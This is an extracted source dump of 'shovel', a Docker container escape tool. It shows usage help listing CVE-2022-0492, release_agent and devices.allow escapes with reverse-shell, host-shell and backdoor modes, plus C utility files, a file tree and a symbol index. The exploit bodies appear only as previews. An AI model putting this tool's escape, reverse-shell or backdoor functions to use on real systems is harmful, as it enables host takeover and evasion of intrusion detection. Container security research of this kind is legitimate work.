           "    -u, --cve-2022-0492                  get cap_sys_admin by cve-2022-0492 and return new namespace bash\n"
           "Options of other\n"
           "    -p, --container_path=xxx             manually specify path of container in host,use this parameter if program can't get it automatically\n"
           "    -m, --mode=xxx                       the mode that needs to be returned after a successful escape { exec | shell | reverse | backdoor }\n"
           "    -c, --command=xxx                    set command in exec mode\n"
           "    -I, --ip                             set ip address in reverse mode\n"
           "    -P, --port                           set port in reverse mode\n"
           "    -B, --backdoor_path                  set backdoor file path\n"
           "    -y, --assumeyes                      automatically answer yes for all questions"
           "\n"
           "Mode (-m) type guide\n"
           "    exec:     run a single command and return the result\n"
           "    shell:    get host shell in current console\n"
           "    reverse:  reverse shell to remote listening address\n"
           "    backdoor: put a backdoor to the host and execute\n",
           args0);
    exit(EXIT_SUCCESS);
}

void print_version() {
    printf("%s version: %s, %s %s\n", PROGRAM_NAME, VERSION, __DATE__, __TIME__);
    exit(EXIT_SUCCESS);
}

================================================
FILE: util/program_info.h
================================================
//
// Created by FlagT on 2022/6/25.
//

#ifndef SHOVEL_USAGE_H
#define SHOVEL_USAGE_H

#endif //SHOVEL_USAGE_H

void usage(char *);
void print_version();

================================================
FILE: util/random_str.c
================================================
//
// Created by FlagT on 2022/6/22.
//

#include "random_str.h"

#include <string.h>
#include <stdlib.h>

void rand_string(char *str, size_t size) {
    const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456";
    if (size) {
        --size;
        for (size_t n = 0; n < size; n++) {
            int key = (int) random() % (int) (sizeof charset - 1);
            str[n] = charset[key];
        }
        str[size] = '\0';
    }
}

================================================
FILE: util/random_str.h
================================================
//
// Created by FlagT on 2022/6/22.
//

#ifndef SHOVEL_RANDOM_STR_H
#define SHOVEL_RANDOM_STR_H

#endif //SHOVEL_RANDOM_STR_H

#include <stdlib.h>

void rand_string(char *, size_t);

================================================
FILE: util/regex_util.c
================================================
//
// Created by FlagT on 2022/6/22.
//

#define _GNU_SOURCE

#include "regex_util.h"
#include <regex.h>
#include <string.h>
#include "output.h"


void regex_util(char *src, char *reg, char *result) {
    regex_t regex;
    char err_buf[1024];
    regmatch_t match_char[2];
    regcomp(&regex, reg, REG_EXTENDED);
    int match_result = regexec(&regex, src, 10, match_char, 0);
    if (!match_result) {
        if (match_char[1].rm_so != -1) {
            char cursorCopy[strlen(src) + 1];
            strcpy(cursorCopy, src);
            cursorCopy[match_char[1].rm_eo] = 0;
            strcpy(result, cursorCopy + match_char[1].rm_so);
        }
    } else if (match_result == REG_NOMATCH) {
    } else {
        regerror(match_result, &regex, err_buf, sizeof(err_buf));
        printf_wrapper(WARNING, "Regex match failed: %s\n", err_buf);
    }
}

================================================
FILE: util/regex_util.h
================================================
//
// Created by FlagT on 2022/6/22.
//

#ifndef SHOVEL_REGEX_UTIL_H
#define SHOVEL_REGEX_UTIL_H

#endif //SHOVEL_REGEX_UTIL_H


void regex_util(char *, char *, char *);

================================================
FILE: util/utils.c
================================================
//
// Created by FlagT on 2022/6/25.
//

#include "utils.h"
#include <sys/stat.h>
#include <dirent.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include "output.h"
#include <fcntl.h>
#include <assert.h>
#include <stdlib.h>

#define DEFAULT_READ_SIZE 1048576


int remove_dir(char *dir) {
    char cur_dir[] = ".";
    char up_dir[] = "..";
    char dir_name[128];
    DIR *dirp;
    struct dirent *dp;
    struct stat dir_stat;

    if (0 != access(dir, F_OK)) {
        printf_wrapper(ERROR, "No permission to access dir %s\n", dir);
        return -1;
    }

    if (0 > stat(dir, &dir_stat)) {
        printf_wrapper(ERROR, "Get directory %s stat error, remove %s failed\n", dir, dir);
        return -1;
    }

    if (S_ISREG(dir_stat.st_mode)) {
        remove(dir);
    } else if (S_ISDIR(dir_stat.st_mode)) {
        dirp = opendir(dir);
        while ((dp = readdir(dirp)) != NULL) {
            if ((0 == strcmp(cur_dir, dp->d_name)) || (0 == strcmp(up_dir, dp->d_name))) {
                continue;
            }

            sprintf(dir_name, "%s/%s", dir, dp->d_name);
            remove_dir(dir_name);
        }
        closedir(dirp);
        rmdir(dir);
    } else {
        printf_wrapper(ERROR, "Unknown dir %s type, remove %s failed\n", dir, dir);
        return -1;
    }
    return 0;
}

int remove_file(char *file_path) {
    struct stat file_stat;

    if (0 != access(file_path, F_OK)) {
        printf_wrapper(ERROR, "No permission to access file %s\n", file_path);
        return -1;
    }

    if (0 > stat(file_path, &file_stat)) {
        printf_wrapper(ERROR, "Get file %s stat error, remove %s failed\n", file_path, file_path);
        return -1;
    }

    if (S_ISREG(file_stat.st_mode) || S_ISBLK(file_stat.st_mode)) {
        remove(file_path);
    } else {
        return -1;
    }
    return 0;
}

void clear_input() {
    char *buffer = malloc(sizeof(char) * 2);
    memset(buffer, 0x00, 2);
    fgets(buffer, 2, stdin);
}

void output_bash_warning(char *escape_type, char *mode) {
    printf_wrapper(WARNING,
                   "Escape by %s in %s mode will call bash, may be caught by intrusion detection devices, are you sure use this mode? (y/n) ",
                   escape_type, mode);
    char *inputBuffer = malloc(sizeof(char) * 2);
    memset(inputBuffer, 0x00, 2);
    fgets(inputBuffer, 2, stdin);
    inputBuffer[strcspn(inputBuffer, "\n")] = 0x00;
    clear_input();
    if ((strcmp(inputBuffer, "y") == 0) || (strcmp(inputBuffer, "Y") == 0)) {
        return;
    } else {
        printf_wrapper(INFO, "Exit\n");
        exit(EXIT_SUCCESS);
    }
}

int read_file(char *path, char *buffer, int flags) {
    int fd;
    fd = open(path, flags);
    if (fd == -1) {
        close(fd);
        return -1;
    }
    struct stat s;
    int size = DEFAULT_READ_SIZE;
    size_t stat_ret = stat(path, &s);
    if (stat_ret != -1 && s.st_size != 0) {
        size = (int) s.st_size;
    }
    size_t ret = read(fd, buffer, size);
    if (ret == -1) {
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}


int write_file(char *path, char *buffer, int flags) {
    int fd;
    fd = open(path, flags);
    if (!fd) {
        return -1;
    }
    size_t ret = write(fd, buffer, strlen(buffer));
    if (ret == -1) {
        return -1;
    }
    close(fd);
    return 0;
}

int file_exist(char *path) {
    if (access(path, F_OK) == 0) {
        return 0;
    } else {
        return -1;
    }
}

char **str_split(char *str, const char a_delim) {
    char **result = 0;
    size_t count = 0;
    char *tmp = str;
    char *last_comma = 0;
    char delim[2];
    delim[0] = a_delim;
    delim[1] = 0;
    while (*tmp) {
        if (a_delim == *tmp) {
            count++;
            last_comma = tmp;
        }
        tmp++;
    }
    count += last_comma < (str + strlen(str) - 1);
    count++;
    result = malloc(sizeof(char *) * count);
    if (result) {
        size_t idx = 0;
        char *token = strtok(str, delim);
        while (token) {
            assert(idx < count);
            *(result + idx++) = strdup(token);
            token = strtok(0, delim);
        }
        assert(idx == count - 1);
        *(result + idx) = 0;
    }
    return result;
}

char *str_replace(char *orig, char *rep, char *with) {
    char *result;
    char *ins;
    char *tmp;
    unsigned long len_rep;
    unsigned long len_with;
    unsigned long len_front;
    unsigned long count;
    if (!orig || !rep)
        return NULL;
    len_rep = strlen(rep);
    if (len_rep == 0)
        return NULL;
    if (!with)
        with = "";
    len_with = strlen(with);
    ins = orig;
    for (count = 0; (tmp = strstr(ins, rep)); ++count) {
        ins = tmp + len_rep;
    }
    tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
    if (!result)
        return NULL;
    while (count--) {
        ins = strstr(orig, rep);
        len_front = ins - orig;
        tmp = strncpy(tmp, orig, len_front) + len_front;
        tmp = strcpy(tmp, with) + len_with;
        orig += len_front + len_rep;
    }
    strcpy(tmp, orig);
    return result;
}



================================================
FILE: util/utils.h
================================================
//
// Created by FlagT on 2022/6/25.
//

#ifndef SHOVEL_UTILS_H
#define SHOVEL_UTILS_H

#endif //SHOVEL_UTILS_H

int remove_dir(char *);

int remove_file(char *);

void output_bash_warning(char *, char *);

int write_file(char *, char *, int);

int read_file(char *, char*, int);

int file_exist(char *);

char **str_split(char *, char);

char *str_replace(char *orig, char *rep, char *with);
Download .txt
gitextract_3up1uc5p/

├── .gitignore
├── CMakeLists.txt
├── README.md
├── docker/
│   ├── capability.c
│   ├── capability.h
│   ├── cgroup.c
│   ├── cgroup.h
│   ├── dev.c
│   ├── dev.h
│   ├── path.c
│   ├── path.h
│   ├── security.c
│   └── security.h
├── exploits/
│   ├── cve_2022_0492.c
│   ├── cve_2022_0492.h
│   ├── devices_allow.c
│   ├── devices_allow.h
│   ├── release_agent.c
│   └── release_agent.h
├── main.c
└── util/
    ├── custom_struts.c
    ├── custom_struts.h
    ├── mount_info.c
    ├── mount_info.h
    ├── output.c
    ├── output.h
    ├── program_info.c
    ├── program_info.h
    ├── random_str.c
    ├── random_str.h
    ├── regex_util.c
    ├── regex_util.h
    ├── utils.c
    └── utils.h
Download .txt
SYMBOL INDEX (53 symbols across 20 files)

FILE: docker/capability.c
  function get_current_process_capability (line 53) | void get_current_process_capability(struct __user_cap_header_struct *hea...
  function check_cap_sys_admin (line 57) | int check_cap_sys_admin() {

FILE: docker/capability.h
  type cap_value_t (line 12) | typedef int cap_value_t;

FILE: docker/cgroup.c
  function get_cgroup_id (line 12) | int get_cgroup_id(char *cgroup_id) {

FILE: docker/dev.c
  function get_host_dev_major_minor (line 13) | int get_host_dev_major_minor() {

FILE: docker/path.c
  type STORAGE_DRIVERS (line 16) | enum STORAGE_DRIVERS {
  function get_storage_driver_type (line 26) | int get_storage_driver_type() {
  function get_container_path_in_host (line 83) | void get_container_path_in_host(char *container_path_in_host) {

FILE: docker/path.h
  type mntent (line 11) | struct mntent

FILE: docker/security.c
  function apparmor_enable_check (line 12) | int apparmor_enable_check() {
  function seccomp_enable_check (line 27) | long int seccomp_enable_check() {

FILE: exploits/cve_2022_0492.c
  function check_max_user_namespace (line 18) | int check_max_user_namespace() {
  function unshare_ns (line 29) | int unshare_ns() {
  function set_uid (line 39) | void set_uid() {
  function cve_2022_0294 (line 52) | int cve_2022_0294() {

FILE: exploits/devices_allow.c
  function reset_device_allow (line 21) | int reset_device_allow() {
  function device_allow_clear_all (line 25) | void device_allow_clear_all() {
  function device_allow_reverse (line 66) | int device_allow_reverse() {
  function device_allow_shell (line 99) | int device_allow_shell() {
  function escape_by_device_allow (line 130) | int escape_by_device_allow() {

FILE: exploits/release_agent.c
  type cgroup_procs_clone_args (line 24) | struct cgroup_procs_clone_args {
  function clear_cgroup_procs (line 28) | int clear_cgroup_procs(void *args) {
  function release_agent_clear_all (line 49) | void release_agent_clear_all() {
  function release_agent_exec (line 81) | int release_agent_exec() {
  function release_agent_reverse (line 171) | int release_agent_reverse() {
  function release_agent_backdoor (line 221) | int release_agent_backdoor() {
  function escape_by_release_agent (line 249) | int escape_by_release_agent() {

FILE: main.c
  function cap_sys_admin_check (line 25) | int cap_sys_admin_check() {
  function main (line 41) | int main(int argc, char *argv[]) {

FILE: util/custom_struts.h
  type ATTACK_TYPE (line 11) | enum ATTACK_TYPE {
  type ATTACK_MODE (line 17) | enum ATTACK_MODE {
  type ATTACK_INFO (line 24) | struct ATTACK_INFO {
  type RELEASE_AGENT_ATTACK_INFO (line 35) | struct RELEASE_AGENT_ATTACK_INFO {
  type DEVICE_ALLOW_ATTACK_INFO (line 44) | struct DEVICE_ALLOW_ATTACK_INFO {
  type HOST_DEV_ATTRIBUTE (line 54) | struct HOST_DEV_ATTRIBUTE {

FILE: util/mount_info.c
  function load_mount_info (line 14) | int load_mount_info(char *path, struct mntent *mounts_info[]) {

FILE: util/mount_info.h
  type mntent (line 10) | struct mntent

FILE: util/output.c
  function printf_info (line 13) | void printf_info(char *format, va_list args_list) {
  function printf_warning (line 21) | void printf_warning(char *format, va_list args_list) {
  function printf_error (line 29) | void printf_error(char *format, va_list args_list) {
  function printf_wrapper (line 37) | void printf_wrapper(int type, char *format, ...) {

FILE: util/output.h
  type output_type (line 11) | enum output_type {

FILE: util/program_info.c
  function usage (line 14) | void usage(char *args0) {
  function print_version (line 43) | void print_version() {

FILE: util/random_str.c
  function rand_string (line 10) | void rand_string(char *str, size_t size) {

FILE: util/regex_util.c
  function regex_util (line 13) | void regex_util(char *src, char *reg, char *result) {

FILE: util/utils.c
  function remove_dir (line 20) | int remove_dir(char *dir) {
  function remove_file (line 59) | int remove_file(char *file_path) {
  function clear_input (line 80) | void clear_input() {
  function output_bash_warning (line 86) | void output_bash_warning(char *escape_type, char *mode) {
  function read_file (line 103) | int read_file(char *path, char *buffer, int flags) {
  function write_file (line 126) | int write_file(char *path, char *buffer, int flags) {
  function file_exist (line 140) | int file_exist(char *path) {
Condensed preview — 34 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (81K chars).
[
  {
    "path": ".gitignore",
    "chars": 1080,
    "preview": "CMakeLists.txt.user\nCMakeCache.txt\nCMakeFiles\nCMakeScripts\nTesting\nMakefile\ncmake_install.cmake\ninstall_manifest.txt\ncom"
  },
  {
    "path": "CMakeLists.txt",
    "chars": 672,
    "preview": "cmake_minimum_required(VERSION 2.8.12.2)\nproject(shovel C)\n\nset(CMAKE_C_STANDARD 99)\n\nadd_executable(shovel main.c explo"
  },
  {
    "path": "README.md",
    "chars": 2162,
    "preview": "## Shovel\n\nDocker容器逃逸工具\n\n1、通过mount命令逃逸触发告警?\n\n2、unshare命令发现没有-C参数?\n\n3、机器上没有各种语言的执行环境?\n\n4、逃逸程序太大不好下载?\n\n遇到以上问题那就用下这个程序吧,原理上"
  },
  {
    "path": "docker/capability.c",
    "chars": 3474,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#include \"capability.h\"\n#include \"../util/output.h\"\n#include <linux/capability."
  },
  {
    "path": "docker/capability.h",
    "chars": 269,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#define __CAP_BITS   37\n#include <linux/capability.h>\n\n#ifndef SHOVEL_CAPABILIT"
  },
  {
    "path": "docker/cgroup.c",
    "chars": 763,
    "preview": "//\n// Created by FlagT on 2022/7/3.\n//\n\n#include <malloc.h>\n#include \"cgroup.h\"\n#include <string.h>\n#include <fcntl.h>\n#"
  },
  {
    "path": "docker/cgroup.h",
    "chars": 143,
    "preview": "//\n// Created by FlagT on 2022/7/3.\n//\n\n#ifndef SHOVEL_CGROUP_H\n#define SHOVEL_CGROUP_H\n\n#endif //SHOVEL_CGROUP_H\n\n\nint "
  },
  {
    "path": "docker/dev.c",
    "chars": 1472,
    "preview": "//\n// Created by FlagT on 2022/7/10.\n//\n\n#include \"dev.h\"\n#include \"../util/mount_info.h\"\n#include <string.h>\n#include <"
  },
  {
    "path": "docker/dev.h",
    "chars": 139,
    "preview": "//\n// Created by FlagT on 2022/7/10.\n//\n\n#ifndef SHOVEL_DEV_H\n#define SHOVEL_DEV_H\n\n#endif //SHOVEL_DEV_H\n\n\nint get_host"
  },
  {
    "path": "docker/path.c",
    "chars": 9331,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#include \"path.h\"\n#include <unistd.h>\n#include <fcntl.h>\n#include <string.h>\n#i"
  },
  {
    "path": "docker/path.h",
    "chars": 185,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_PATH_H\n#define SHOVEL_PATH_H\n\n#endif //SHOVEL_PATH_H\n\n\nstruct mn"
  },
  {
    "path": "docker/security.c",
    "chars": 1402,
    "preview": "//\n// Created by FlagT on 2022/8/20.\n//\n\n#include \"security.h\"\n#include <string.h>\n#include <fcntl.h>\n#include <stdlib.h"
  },
  {
    "path": "docker/security.h",
    "chars": 185,
    "preview": "//\n// Created by FlagT on 2022/8/20.\n//\n\n#ifndef SHOVEL_SECURITY_H\n#define SHOVEL_SECURITY_H\n\nint apparmor_enable_check("
  },
  {
    "path": "exploits/cve_2022_0492.c",
    "chars": 2438,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#define _GNU_SOURCE\n\n#include \"cve_2022_0492.h\"\n\n#include <fcntl.h>\n#include <s"
  },
  {
    "path": "exploits/cve_2022_0492.h",
    "chars": 192,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_CVE_2022_0492_H\n#define SHOVEL_CVE_2022_0492_H\n\n#endif //SHOVEL_"
  },
  {
    "path": "exploits/devices_allow.c",
    "chars": 8850,
    "preview": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#include \"devices_allow.h\"\n#include \"../util/output.h\"\n#include <stdlib.h>\n#inc"
  },
  {
    "path": "exploits/devices_allow.h",
    "chars": 222,
    "preview": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#ifndef SHOVEL_DEVICES_ALLOW_H\n#define SHOVEL_DEVICES_ALLOW_H\n\n#endif //SHOVEL_"
  },
  {
    "path": "exploits/release_agent.c",
    "chars": 14694,
    "preview": "#define _GNU_SOURCE\n//\n// Created by FlagT on 2022/6/22.\n//\n\n#include \"release_agent.h\"\n#include <sched.h>\n#include <uni"
  },
  {
    "path": "exploits/release_agent.h",
    "chars": 256,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_RELEASE_AGENT_H\n#define SHOVEL_RELEASE_AGENT_H\n\n#endif //SHOVEL_"
  },
  {
    "path": "main.c",
    "chars": 13575,
    "preview": "#define _GNU_SOURCE\n\n#include \"docker/capability.h\"\n#include \"exploits/cve_2022_0492.h\"\n#include <time.h>\n#include <stdl"
  },
  {
    "path": "util/custom_struts.c",
    "chars": 68,
    "preview": "//\n// Created by FlagT on 2022/6/26.\n//\n\n#include \"custom_struts.h\"\n"
  },
  {
    "path": "util/custom_struts.h",
    "chars": 1032,
    "preview": "//\n// Created by FlagT on 2022/6/26.\n//\n\n#ifndef SHOVEL_CUSTOM_STRUTS_H\n#define SHOVEL_CUSTOM_STRUTS_H\n\n#endif //SHOVEL_"
  },
  {
    "path": "util/mount_info.c",
    "chars": 1306,
    "preview": "//\n// Created by FlagT on 2022/7/10.\n//\n\n#include <bits/types/FILE.h>\n#include <mntent.h>\n#include <stdio.h>\n#include <s"
  },
  {
    "path": "util/mount_info.h",
    "chars": 190,
    "preview": "//\n// Created by FlagT on 2022/7/10.\n//\n\n#ifndef SHOVEL_MOUNT_INFO_H\n#define SHOVEL_MOUNT_INFO_H\n\n#endif //SHOVEL_MOUNT_"
  },
  {
    "path": "util/output.c",
    "chars": 1559,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#include <stdio.h>\n#include <malloc.h>\n#include <string.h>\n#include <stdarg.h>\n"
  },
  {
    "path": "util/output.h",
    "chars": 234,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_OUTPUT_H\n#define SHOVEL_OUTPUT_H\n\n#endif //SHOVEL_OUTPUT_H\n\n\nenu"
  },
  {
    "path": "util/program_info.c",
    "chars": 2037,
    "preview": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#include \"program_info.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define PROG"
  },
  {
    "path": "util/program_info.h",
    "chars": 154,
    "preview": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#ifndef SHOVEL_USAGE_H\n#define SHOVEL_USAGE_H\n\n#endif //SHOVEL_USAGE_H\n\nvoid us"
  },
  {
    "path": "util/random_str.c",
    "chars": 460,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#include \"random_str.h\"\n\n#include <string.h>\n#include <stdlib.h>\n\nvoid rand_str"
  },
  {
    "path": "util/random_str.h",
    "chars": 182,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_RANDOM_STR_H\n#define SHOVEL_RANDOM_STR_H\n\n#endif //SHOVEL_RANDOM"
  },
  {
    "path": "util/regex_util.c",
    "chars": 850,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#define _GNU_SOURCE\n\n#include \"regex_util.h\"\n#include <regex.h>\n#include <strin"
  },
  {
    "path": "util/regex_util.h",
    "chars": 169,
    "preview": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_REGEX_UTIL_H\n#define SHOVEL_REGEX_UTIL_H\n\n#endif //SHOVEL_REGEX_"
  },
  {
    "path": "util/utils.c",
    "chars": 5154,
    "preview": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#include \"utils.h\"\n#include <sys/stat.h>\n#include <dirent.h>\n#include <unistd.h"
  },
  {
    "path": "util/utils.h",
    "chars": 392,
    "preview": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#ifndef SHOVEL_UTILS_H\n#define SHOVEL_UTILS_H\n\n#endif //SHOVEL_UTILS_H\n\nint rem"
  }
]

About this extraction

This page contains the full source code of the SPuerBRead/shovel GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 34 files (73.5 KB), approximately 19.5k tokens, and a symbol index with 53 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!